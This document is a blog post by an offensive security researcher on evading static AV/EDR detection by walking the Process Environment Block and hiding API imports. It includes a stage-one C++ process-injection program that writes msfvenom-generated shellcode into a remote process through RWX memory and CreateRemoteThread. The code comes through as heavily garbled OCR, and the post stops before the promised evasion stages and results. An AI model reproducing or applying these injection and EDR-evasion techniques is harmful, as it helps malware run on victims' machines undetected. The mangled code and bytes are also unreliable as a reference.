

PEB Walk: Avoid API calls inspection in IAT by analyst and bypass static detection of AV/EDR

Usman Sikander Offensive Security Researcher https://www.linkedin.com/in/usman-sikander13

Summary

In this blog, we discuss the different approaches of AV/EDRs static analysis and detection. Legacy antivirus software was dependent on signature-based detection. They calculate the hash of binary and see if this specific signature matches with known malware signature in the database than mark the binary malicious or benign accordingly. To bypass hash-based detection procedure is very simple. You just need to change even a single byte to bypass hash-based detection. But now AVs are quite advance they don't only rely on known malware hashes, also nowadays EDRs comes into play which looks for patterns, IAT imports, EDR solutions use pattern matching to identify suspicious code sequences, strings, or structures within files that are commonly associated with malware. EDR tools utilize YARA rules to detect malware based on specific patterns and characteristics defined in the rules. These rules can identify both known and unknown threats by looking for indicators of compromise (IOCs). EDR solutions analyze file attributes and behaviors for characteristics typical of malware. This includes examining file entropy, uncommon API calls, suspicious import tables, and other anomalous features. We use different techniques to bypass static analysis of EDRs solutions. We divide our arsenal preparation into 4 main stages, we try to hide strings, API imports by obfuscating them, resolve API using different ways such as dynamically walking the process environment block (PEB) and resolve export functions by parsing kernel32.dll in-memory to hide imports. In the end, we look at the results of the detection rate after applying different techniques and see which technique is more effective to fly under the radar of EDRs static detection.

PEB Structure

The Process Environment Block (PEB) is a crucial data structure in Windows operating systems that contains information about the state of a process. It's an undocumented structure in the Windows API but is well-known among malware analysts and developers for its rich set of information about a process.

typedef struct_PEB {
 BYTE Reserved1[2];
 BYTE BeingDebugged;
 BYTE Reserved2[1];
 PVOID Reserved3[2];
 PPEB_LDR_DATA Ldr;
 PRTL_USER_PROCESS_PARAMETERS ProcessParameters;

PVOID Reserved4[3]; PVOID AtlThunkSListPtr; PVOID Reserved5; ULONG Reserved6; PVOID Reserved7; ULONG Reserved8; ULONG AtlThunkSListPtr32; PVOID Reserved9[45]; BYTE Reserved10[96]; PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; BYTE Reserved11[128]; PVOID Reserved12[1]; ULONG SessionId; } PEB, *PPEB;

From the structure members mentioned above, we can see the highlighted Ldr member. This member contains a pointer to a PEB_LDR_DATA structure, which holds information about all the loaded modules (EXEs/DLLs) in the current process. Within this structure, the InMemoryOrderModuleList is a doubly linked list used to find the addresses of loaded DLLs.

typedef struct_PEB_LDR_DATA {
 BYTE Reserved1[8];
 PVOID Reserved2[3];
 LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

In this structure, a process would use the **InMemoryOrderModuleList** to enumerate loaded modules. This linked list contains entries for each module, represented by LDR_DATA_TABLE_ENTRY structures, which provide detailed information about each module.

PEB Walk Overview

PEB walk is the process of accessing the PEB structure form process space and enumerating all loaded modules in space of process dynamically. After enumerating the loaded modules, resolve the functions and variables of the modules and use them into code.

X86 Assembly:

mov eax, fs:[30h]; EAX now points to the PEB

X64 Assembly:

mov rax, gs:[60h]; RAX now points to the PEB

To outline the process, the PEB walk for resolving the addresses of **LoadLibraryA** and **GetProcAddress** is as follows:

- 1. Obtain and access the PEB structure of the current process.
- 2. Navigate to the PEB_LDR_DATA structure using the **Ldr** member of the PEB.
- 3. Iterate through the **InLoadOrderModuleList** to locate the LDR_DATA_TABLE_ENTRY for kernel32.dll.
- 4. Once the entry for kernel32.dll is found, extract its base address.
- 5. Manually parse the export table of kernel32.dll to resolve the addresses of LoadLibraryA and GetProcAddress.

Arsenal preparation and Stages

We use a simple process injection technique, which is using Windows APIs such as VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread to inject a msfvenom generated shellcode into a process.

VirtualAllocEx: To allocate RWX memory region into remote process.

WriteProcessMemory: To write shellcode into created memory section.

CreateRemoteThread: To create a new thread that executes our shellcode when it starts.

Stage 1 (Simple Injection)

In stage 1, we write a simple process injection technique, which uses the above-mentioned APIs to inject a malicious shellcode into a remote process. However, in the first stage, we directly use these APIs in our arsenal instead of dynamically resolving the APIs.

2 □SMMPLE_INICCION - (GlobalScepc) - @ mann) 3 □ (misigned char code)] = { - (GlobalScepc) - @ mann) 4 0 + 0.000 + 0.000 + 0.000 + 0.000 + 0.000 11 0 + 0.000 + 0.000 + 0.000 + 0.000 + 0.000 + 0.000 12 0+0.00 + 0.000 + 0.000 + 0.000 + 0.000 + 0.000 + 0.000 13 0+0.00 + 0.000 + 0.000 + 0.000 + 0.000 + 0.000 + 0.000 + 0.000 14 0+0.00 0+0.00 + 0.000 + 0.000 + 0.000 + 0.000 + 0.000 + 0.000 15 0+0.00 0+0.00 + 0.000	Īoo	SIMPLE_INJ	ECTION	N.cpp	+= X	<											
<pre>7 [: / // cdd = -32 bit unsigned char cddd] = { 0x60, edd, edd char cddd] = { 0x60, edd, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 0x80, ex30, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 0x20, 6x21, 6xc, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 0x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 0x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 0x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 0x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 0x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 0x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 0x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 0x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 0x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 0x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 0x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 0x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 0x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 0x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 0x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 0x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 0x20, 6x20, 6x40, 6x30, 6x10, 6x20, 6x20, 6x20, 6x20, 6x20, 0x20, 6x20, 6x40, 6x30, 6x10, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 0x20, 6x20, 6x40, 6x30, 6x10, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 0x20, 6x20, 6x40, 6x40, 6x40, 6x40, 6x40, 6x20, 6x20, 6x20, 6x20, 0x20, 6x20, 6x40, 6x40, 6x40, 6x40, 6x40, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 0x20, 6x20, 6x40, 6x40, 6x40, 6x40, 6x40, 6x20, 6x20, 6x20, 6x20, 6x20, 6x20, 0x20, 6x20, 6x40, 6x40, 6x40, 6x40, 6x40, 6x40, 6x40, 6x40, 0x20, 6x20, 6x40, 6</pre>	lboy		NJECTI	ON									•	(Global Se	:ope)		- 🗊 main()
<pre></pre>		7	1		11 0	ode -	- 32 bi	it									
<pre>9</pre>			ģ		unsi	igned	char c	ode[]									
<pre>10 0 kbb, 0 kbb,</pre>				Θ	xfc,	0xe8	, 0x82	, 0x00), 0x00	, 0x00	, 0x60	, 0x89	, Oxe5	, 0x31	, 0xc0	, 0x64,	
<pre>11 0 bof, 0 bD7, 0 bLa, 0 bZ6, 0 x31, 0 cFf, 0 xc2, 0 x32, 0 x52, 0 k57, 0 k50, 0 x52, 12 0 x30, 0 x51, 0 cF, 0 x40, 0 x51, 0 x57, 0 x53, 0 x43, 0 k40, 0 x11, 0 x78, 0 x32, 0 x43, 0 x40, 13 0 x51, 0 x50, 0 x50, 0 x51, 0 x50, 0 x50, 0 x51, 0 x51, 0 x53, 0 x40, 0 x51, 15 0 x50, 0 x53, 0 x50, 0 x51, 0 x50, 0 x50, 0 x51, 0 x51,</pre>				0x	8b,	0x50,	0x30,	0x8b,	0x52,	0x0c,	0x8b,	0x52,	0x14,	0x8b,	0x72,	0x28,	
<pre>12 0:20, 0:cl, 0:cf, 0:dd, 0:cl, 0:c7, 0:cd, 0:c2, 0:c5, 0:c7, 0:db, 0:c2, 13 0:c0, 0:cb, 0:cd, 0:c1, 0:c5, 0:c6, 0:c1, 0:c6, 0:cd, 0:cd, 0:cd, 0:cd, 0:c5, 0:cb, 0:cd, 0:cd, 0:c5, 0:cb, 0:c5, 0:c6, 0:cd, 0:cd, 0:cd, 0:cd, 0:cd, 0:cd, 0:cd, 0:cd, 0:cd, 15 0:cc, 0:c5, 0:cb, 0:c5, 0:c6, 0:cd, 0:cd, 0:cd, 0:cd, 0:cd, 0:cd, 16 0:cc, 0:c5, 0:cb, 0:c5, 0:c6, 0:cd, 0:cd, 0:cd, 0:cd, 0:cd, 0:cd, 17 0:cd, 0:c5, 0:cb, 0:c5, 0:c6, 0:cd, 0:cd, 0:cd, 0:cd, 0:cd, 0:cd, 19 0:cd, 0:c5, 0:cb, 0:c5, 0:cd, 0:cd, 0:cd, 0:cd, 0:cd, 0:cd, 0:cd, 19 0:cd, 0:c5, 0:cb, 0:c5, 0:cd, 0:cd, 0:cd, 0:cd, 0:cd, 0:cd, 0:cd, 19 0:cd, 0:c5, 0:cb, 0:cb, 0:cd, 0:cd, 0:cd, 0:cd, 0:cd, 0:cd, 0:cd, 10 0:cd, 0:cd, 10 0:cd, 0:cd, 10 0:cd, 0:cd, 10 0:cd, 0:cd, 10 0:cd, 0:cd, 10 0:cd, 0:cd, 10 0:cd, 0:cd, 10 0:cd, 0:cd, 11 1:cd, 1:cd, 1:cd, 1:cd, 0:cd, 0:cd, 0:cd, 0:cd, 0:cd, 0:cd, 0:cd, 0:cd, 0:cd, 11 1:cd, 0:cd, 0</pre>		11		0x	Of,	0xb7,	0x4a,	0x26,	0x31,	0xff,	Oxac,	0x3c,	0x61,	0x7c,	0x02,	0x2c,	
<pre>13 010, 0x80, 0x50, 0x20, 0x80, 0x40, 0x10, 0x78, 0x80, 0x40, 0x10, 0x1</pre>		12		0x	20,	0xcl,	0xcf,	0x0d,	0x01,	0xc7,	0xe2,	0xf2,	0x52,	0x57,	0x8b,	0x52,	
<pre>14 0 + 0.51, 0+28, 0+29, 0+20, 0+01, 0+23, 0+28, 0+24, 0+24, 0+24, 0+24, 0+24, 0+24, 0+24, 0+24, 0+25</pre>		13		0x	10,	0x8b,	0x4a,	0x3c,	0x8b,	0x4c,	0x11,	0x78,	0xe3,	0x48,	0x01,	0xd1,	
<pre>15 [0:0.8b, 0:31, 0:0.8b, 0:01, 0:0.6b, 0:31, 0:0.6b, 0:30, 0:0.2b, 0:0.5b, 0:0.1b, 0:0.</pre>				Θx	51,	0x8b,	0x59,	0x20,	0x01,	0xd3,	0x8b,	0x49,	0x18,	0xe3,	0x3a,	0x49,	
<pre>16 0+c?, 0+38, 9×a0, 0+75, 0+c6, 0+28, 0+74, 0+74, 0+74, 0+74, 0+74, 0+74, 0+74, 0+74, 0+75, 0+</pre>		15		Θx	8Ь,	0x34,	0x8b,	0x01,	0xd6,	0x31,	0xff,	Oxac,	0xc1,	0xcf,	0x0d,	0x01,	
<pre>17 0xet, 0x58, 0x58, 0x58, 0x54, 0x61, 0x64, 0x88, 0x66, 0x88, 0x88, 0x88, 0x88, 0x88, 0x58, 0x50, 0x63, 0x50, 0x61, 0x59, 0x54, 0x57, 0x57, 0x53, 0x88, 0x61, 0x59, 0x54, 0x55, 0x78, 0x55, 0x78, 0x55, 0x78, 0x55, 0x64, 0x53, 0x54, 0x54, 0x55, 0x78, 0x55, 0x78, 0x55, 0x54, 0x55, 0x78, 0x55, 0x78, 0x55, 0x78, 0x55, 0x64, 0x53, 0x54, 0x54, 0x55, 0x78, 0x55, 0x78, 0x55, 0x78, 0x55, 0x64, 0x53, 0x54, 0x54, 0x55, 0x78, 0x55, 0x78, 0x55, 0x78, 0x55, 0x64, 0x55, 0x78, 0x55, 0x78, 0x55, 0x64, 0x55, 0x78, 0x55, 0x58, 0x78, 0x56, 0x55, 0x78, 0x55, 0x78, 0x55, 0x58, 0x56, 0x55, 0x78, 0x56, 0x55, 0x78, 0x56, 0x55, 0x78, 0x56, 0x55, 0x58, 0x56, 0x</pre>				Øx	c7,	0x38,	0xe0,	0x75,	0xf6,	0x03,	0x7d,	0xf8,	0x3b,	0x7d,	0x24,	0x75,	
<pre>18 0x35, 0x1c, 0x01, 0x43, 0x4b, 0x4b, 0x4b, 0x4b, 0x4b, 0x4d, 0x4d, 0x4d, 0x4d, 0x2d, 19 0x2d, 0x5b, 0x5b, 0x5c1, 0x55, 0x5c1, 0x5c1, 0x5c1, 0x5c5, 0x5c5, 0x5c3, 20 0x8b, 0x12, 0xeb, 0x4d, 0x5d, 0x5c1, 0x5c1, 0x4c5, 0xd5, 0xbb, 0xeb, 0xdd, 21 0x2a, 0x8a, 0x68, 0xa1, 0x5b, 0x6c1, 0x6c, 0xd3, 0x2e, 0xeb, 0xdd, 22 0x2a, 0x8a, 0x65, 0xa5, 0x55, 0xbb, 0x47, 0x13, 0x72, 0x6c6, 0x6c3, 23 0x8a, 0x6b, 0x45, 0xc5, 0x63, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 24 0x8a, 0x6b, 0x45, 0xc5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 25 0x8a, 26 0x8a, 0x65, 0xc1, 0x55, 0xbb, 0x47, 0x13, 0x72, 0x6c6, 0x63, 0x2e, 27 unsigned int p_ten = sizeof(code); 28 int pid = 0; 29 LPVOID pRemoteCode = NULL; 30 HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD PROCESS_UPERY_INFORMATION 31 PROCESS_VM_OPERATION PROCESS_VM_READ PROCESS_UPERY_INFORMATION 32 PROCESS_VM_OPERATION PROCESS_VM_READ PROCESS_UPERY_INFORMATION 33 PROCESS_VM_OPERATION PROCESS_VM_READ PROCESS_UPERY_INFORMATION 34 PANDLE hProcess != OpenProcess(PROCESS_CREATE_THREAD PROCESS_UPERY_INFORMATION 35 Fi (hProcess != OpenProcess(PROCESS_UP_READ PROCESS_UP_REATION NULL; 36 Fi (hProcess != UpenProcess(PROCESS_UP_READ PROCESS_UP_READ PROCESS_UP</pre>		17		Øx	e4,	0x58,	0x8b,	0x58,	0x24,	0x01,	0xd3,	0x66,	0x8b,	θxθc,	0x4b,	0x8b,	
<pre>19 0x20, 0x50, 0x50, 0x50, 0x53, 0x51, 0x45, 0x80, 0x57, 0x58, 0x80, 0x50, 0x50, 0x50, 0x50, 0x50, 0x50, 0x64, 0x85, 0x50, 0x60, 0x70, 0x80, 0x50, 0x68, 0x31, 0x60, 0x75, 0x85, 0x50, 0x45, 0x52, 0x66, 0x70, 0x80, 0x53, 0x68, 0x63, 0x53, 0x51, 0x60, 0x75, 0x65, 0x78, 0x65, 0x80, 0x53, 0x68, 0x53, 0x53, 0x51, 0x60, 0x75, 0x65, 0x78, 0x65, 0x80, 0x53, 0x67, 0xe0, 0x75, 0x65, 0x50, 0x78, 0x65, 0x78, 0x65, 0x80, 0x53, 0x64, 0x53, 0x63, 0x61, 0x60, 0x65, 0x78, 0x65, 0x80, 0x53, 0x64, 0x53, 0x63, 0x63, 0x22, 0x65, 0x78, 0x65, 0x80, 0x53, 0x64, 0x53, 0x63, 0x63, 0x22, 0x65, 0x78, 0x65, 0x80, 0x53, 0x64, 0x53, 0x63, 0x63, 0x22, 0x65, 0x78, 0x65, 0x80, 0x53, 0x64, 0x64, 0x78, 0x63, 0x22, 0x65, 0x78, 0x65, 0x80, 0x53, 0x64, 0x64, 0x78, 0x63, 0x22, 0x65, 0x78, 0x65, 0x80, 0x53, 0x64, 0x64, 0x78, 0x63, 0x22, 0x65, 0x78, 0x65, 0x80, 0x53, 0x64, 0x64, 0x78, 0x63, 0x22, 0x65, 0x78, 0x65, 0x80, 0x53, 0x64, 0x64, 0x78, 0x63, 0x22, 0x65, 0x78, 0x65, 0x80, 0x53, 0x64, 0x64, 0x78, 0x65, 0x78, 0x65, 0x78, 0x65, 0x80, 0x53, 0x64, 0x64, 0x64, 0x64, 0x78, 0x78, 0x78, 0x65, 0x80, 0x54, 0x64, 0x64, 0x78, 0x</pre>				0x	58,	0x1c,	0x01,	0xd3,	0x8b,	0x04,	0x8b,	0x01,	0xd0,	0x89,	0x44,	0x24,	
<pre>20 9x8b, 9x12, 9xeb, 9x8d, 9x5d, 9x6d, 9x1, 9x8d, 9x6f, 9x7, 9xrf, 9x45, 9xbb, 9xe0, 9x8d, 9x90, 9x50, 9x68, 9x12, 9x8b, 9xff, 9xr7, 9xr13, 9xr2, 9x6f, 9x6a, 9x8a, 9x8a, 9x8b, 9xr5d, 9xr5, 9xbb, 9xd7, 9x13, 9xr2, 9x6f, 9x6a, 9x8a, 9x8b, 9x8b, 9xr5d, 9xr5d, 9xbb, 9xd7, 9x13, 9xr2, 9x6f, 9x6a, 9x8a, 9x8b, 9xr8d, 9xr5d, 9xr5d, 9xbb, 9xd7, 9x13, 9xr2, 9x6f, 9x6a, 9xe0b, 9xr8d, 9xr8d, 9x6d, 9x61, 9x6c, 9x63, 9x2e, 9x65, 9x78, 9x65, 9xe0b 1 unsigned int p_len = sizeof(code); int pid = 0; 1 LPV0ID pRemoteCode = NULL; HANDLE hThread = NULL; HANDLE hThread = NULL; 1 and 1 = 12A44; 1 PPOCESS_UP_0ERATION PROCESS_CREATE_THREAD PROCESS_QUERY_INFORMATION PROCESS_UP_0ERATION PROCESS_VM_WRITE, FALSE, pid); 1 f (hProcess = OpenProcess(PROCESS_CREATE_THREAD PROCESS_QUERY_INFORMATION PROCESS_UP_0ERATION PROCESS_VM_WRITE, FALSE, pid); 1 f (hProcess != NULL) { 1 pideenoteCode = VirtualAllocEx(hProcess, NULL, p_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 1 WiteProcessHemory(hProcess, NULL, 0, (CUTI)EAD_START_ROUTINE)PRemoteCode, NULL); 1 if (hThread != NULL) { 1 witeProcessHemory(hProcess, NULL, 0, (LUTHREAD_START_ROUTINE)PREmoteCode, NULL); 1 if (hThread != NULL) { 1 witeProcessHemory(hProcess); 1 return -1; 2 (LoseHandle(hThread); 1 return 0; 1 return 0; 1 } 1 most = 0 1 00</pre>				0x	24,	0x5b,	0x5b,	0x61,	0x59,	0x5a,	0x51,	0xff,	0xe0,	0x5f,	0x5f,	0x5a,	
<pre>21 0x00, 0x50, 0x63, 0x30, 0x50, 0x67, 0x77, 0x75, 0x03, 0x30, 0x80, 0x1d, 0x2a, 0x6a, 0x68, 0x45, 0x63, 0x65, 0x05, 0x05, 0x2a, 0x65, 0x7c, 0x00, 0x53, 0x6f, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00, 0x53, 0x6f, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00, 0x53, 0x6f, 0x6, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00, 0x53, 0x6f, 0x6, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00, 0x53, 0x6f, 0x6, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00, 0x53, 0x64, 0x64, 0x64, 0x65, 0x78, 0x65, 0x00, 0x53, 0x64, 0x64, 0x64, 0x65, 0x78, 0x65, 100 minimum for the size of (code); 110 minimum for the size of the s</pre>				Θx	8b,	0x12,	0xeb,	0x8d,	0x5d,	Өхба,	0x01,	0x8d,	0x85,	0xb2,	0x00,	0×00,	
<pre>22 0+2a, 0+8a, 0+66, 0+26, 0+26, 0+26d, 0+2d, 0</pre>		21		Θx	00,	0x50,	0x68,	0x31,	0x8b,	0x6f,	0x87,	0xff,	0xd5,	θxbb,	ΘxeΘ,	0x1d,	
<pre>23 0×8a, 0x8b, 0xf5, 0x65, 0x55, 0x0b, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x80 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x80 26 }; 27 unsigned int p_len = sizeof(code); 28 int pid = 0; 29 LPVOTD pRemoteCode = NULL; HANDLE hThread = NULL; 30 HADLE hThread = NULL; 31 PROCESS_VM_OPERATION PROCESS_CREATE_THREAD PROCESS_QUERY_INFORMATION PROCESS_VM_OPERATION PROCESS_VM_WRITE, FALSE, pid); 35 C if (hProcess := NULL) { 36 PRemoteCode = VirtualNlocEx(hProcess, NULL, p_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WitteProcessMemory(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL); 37 WriteProcessImemory(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL); 38 C (CoseHandle(hProcess); 44 return -1; 45 c return 0; 46 } 47 eturn 0; 48 return 0; 49 } 40 AL2 ↑ ↓ </pre>		22		0x	2a,	ΘxΘa,	0x68,	0xa6,	0x95,	0xbd,	0x9d,	0xff,	0xd5,	0x3c,	0x06,	0x7c,	
24 ○ 0x00, 0x53, 0xff, 0xd5, 0x63, 0x62, 0x65, 0x78, 0x65, 0x66, 0x65, 0x66, 0x		23		0x	0a,	0x80,	0xfb,	0xe0,	0x75,	0x05,	Oxbb,	0x47,	0x13,	0x72,	0x6f,	0x6a,	
<pre>25</pre>				0x	88,	0x53,	0xff,	0xd5,	0x63,	0x61,	0x6c,	0x63,	0x2e,	0x65,	0x78,	0x65,	
<pre>26 27 27 28 29 29 29 29 29 29 29 29 20 20 20 20 20 20 20 20 20 20 20 20 20</pre>		25		0x	00												
<pre>27 unsigned int p_len = sizeof(code); int pid = 0; LPVOID pRemoteCode = NULL; HANDLE hThread = NULL; if unsigned int p_len = sizeof(code); if unsigned it = null.) { if unsigned it = null.</pre>			2		};												
<pre>28 int pid = 0; 29 LPVOID pRemoteCode = NULL; 30 HANDLE hThread = NULL; 31 pid = 122244; 32 HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD PROCESS_QUERY_INFORMATION 33 PROCESS_VM_OPERATION PROCESS_VM_WRITE, 54 FALSE, pid); 35 E if (hProcess != NULL) { 56 if (hProcess != NULL) { 57 WriteProcessMemory(hProcess, NULL, plen, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 58 WriteProcessMemory(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL); 39 if (hThread != NULL) { 40 WaitForSingleObject(hThread, 500); 41 CLoseHandle(hThread, 500); 42 return 0; 43 } 444 // return 0; 45 // Wo A2 ↑ ↓ </pre>		27			unsi	igned	int p_	len =	sizeof	(code)							
<pre>29 LPVOID pRemoteCode = NULL; 30 HANDLE hThread = NULL; 31 pid = 12244; 32 HANDLE hThread = NULL; 33 PROCESS_VM_OPERATOR PROCESS_CREATE_THREAD PROCESS_QUERY_INFORMATION 33 PROCESS_VM_OPERATOR PROCESS_VM_READ PROCESS_VM_WRITE, 54 FALSE, pid); 55 F if (hThread = VirtualAllocEx(hProcess, NULL, p_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 36 WhiteProcessMemory(hThreads, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL); 37 WhiteProcessMemory(hThread, 500); 41 CloseHandle(hThread); 44 return 0; 45 return 0; 46 CloseHandle(hThread); 47 } 48 return 0; 49 } 40 A2 ^ 4 4</pre>		28			int	pid =	Θ;										
<pre>30 HANDLE hThread = NULL; 31 pid = 12244; 41 HANDLE hThread = NULL; 32 HANDLE hThread = NULL; 33 PROCESS_VM_OPERATION PROCESS_UM_READ PROCESS_QUERY_INFORMATION 34 PROCESS_VM_OPERATION PROCESS_VM_READ PROCESS_VM_WRITE, 35 FALSE, pid); 36 PRemoteCode = VirtualAllocEx(hProcess, NULL, p_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 37 WriteProcessMemory(hProcess, pRemoteCode, (PVOID)code, (SIZE_T)p_len, (SIZE_T*)NULL); 38 CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL); 39 C if (hThread != NULL) { 40 WaitForSingleObject(hThread, 500); 41 CloseHandle(hThread); 42 return 0; 43 } 44 return 0; 45 / CloseHandle(hProcess); 47 } 48 / return 0; 49 } 40 // / / / / / / / / / / / / / / / / /</pre>		29			LPVC	DID pR	RemoteC	ode =	NULL;								
<pre>31 i pid = 12244; 32 HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD PROCESS_QUERY_INFORMATION 97 PROCESS_VM_OPERATION PROCESS_VM_READ PROCESS_VM_WITTE, 58 FALSE, pid); 59 if (hProcess != NULL) { 97 pRemoteCode = VirtualAllocEx(hProcess, NULL, p_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 97 WriteProcessMemory(hProcess, pRemoteCode, (PVOID)code, (SIZE_T)p_len, (SIZE_T*)NULL); 98 CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL); 50 if (hThread != NULL) { 51 if (hThread != NULL) { 52 if (hThread != NULL) { 53 if (hThread != NULL) { 54 if (hThread != NULL) { 55 if (hThread != NULL) { 56 if (hThread != NULL) { 56 if (hThread != NULL) { 57 if (hThread != NULL) { 58 if (hThread != NULL) { 59 if (hThread != NULL) { 50 if (hThread != NULL) { 51 if (hThread != NULL) { 52 if (hThread != NULL) { 53 if (hThread != NULL) { 54 if (hThread != NULL) { 55 if (hThread != NULL) { 55 if (hThread != NULL) { 56 if (hThread != NULL) { 56 if (hThread != NULL) { 57 if (hThread != NULL) { 58 if (hThread != NULL) { 59 if (hThread != NULL) { 50 if (hThread != NULL) { 51 if (hThread != NULL) { 52 if (hThread != NULL) { 53 if (hThread != NULL) { 54 if (hThread != NULL) { 55 if (hThread != NULL) { 55 if (hThread != NULL) { 56 if (hThread != NULL) { 57 if (hTh</pre>		30			HAND	DLE hT	hread	= NULL									
<pre>32 33 44 HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD PROCESS_QUEN_INFORMATION PROCESS_VM_OPRATION PROCESS_VM_READ PROCESS_VM_WRITE, FALSE, pid); 35 5 if (hProcess != NULL) { 36</pre>		31			pid	= 122	244;										
<pre>33 PROCESS_VM_READ ↑ PRO</pre>		32			HANE	DLE hP	rocess	= Ope	nProce	ss(PRO	CESS_C	REATE_	THREAD	PRC	CESS_Q	UERY_INFORMATION	
<pre>34</pre>		33				PROCE	SS_VM_	OPERAT	TON	PROCES	S_VM_R	EAD	PROCES	S_VM_W	RITE,		
<pre>35 b if (hProcess != NULL) { pRemoteCode = VirtualAllocEx(hProcess, NULL, p_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, pRemoteCode, (PVOID)code, (SIZE_T)p_len, (SIZE_T*)NULL); CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL); if (hThread != NULL) { WaitForSingleObject(hThread, 500); CloseHandle(hThread); return 0; } return 0; } return 0; S0 A2 ↑ ↓ </pre>		34				FALSE	, pid)	1									
<pre>36 37 38 39 39 40 40 41 41 42 43 44 44 45 50 50 50 50 50 50 50 50 50 5</pre>					1+ (hProc	ess !=	NULL	1				anan i kan				
<pre>37 38 39 50 39 50 39 50 39 50 39 50 39 50 39 50 30 50 50 50 50 50 50 50 50 50 50 50 50 50</pre>		36				pRemo	teCode	= V11	tualAl	LOCEX	hProce	SS, NU	LL, P_	Len, P	EM_COM	MIT, PAGE_EXECUTE_READWRITE);	
<pre>38 38 39 40 40 40 40 41 42 43 44 45 44 45 46 46 46 47 48 49 4 1 7 48 49 4 1 7 48 4 4 5 4 4 4 5 4 4 4 5 4 4 5 4 4 5 4 4 5 4 4 5 4 4 5 4 4 5 4 4 5 4 4 5 4 4 5 4 5 4 4 5 4 5 4 5 4 5 4 5 4 5 4 5 4 5 4 5 4 5 4 5 5 4 5 5 4 5 5 4 5</pre>		37				Write	Proces	snemor	yunpro	cess,	ркетот	ecode	CPVUI	Dicode	L (SIZ	E_TIP_ten; (SIZE_T*)NULL);	
<pre>39 1 (f)(f)(f)(f)(f)(f)(f)(f)(f)(f)(f)(f)(f)(</pre>		38				creat	екетот	einrea	auner	Cess.	NULL	Struct B	THREAL	STARI	ROOT	NEJPREmotecode, NULL, W, NULL);	
$\begin{array}{c} 49 \\ 41 \\ 42 \\ 43 \\ 44 \\ 44 \\ 45 \\ 46 \\ 46 \\ 46 \\ 46 \\ 46$		39				14 (1	Inread			(hThese		0					
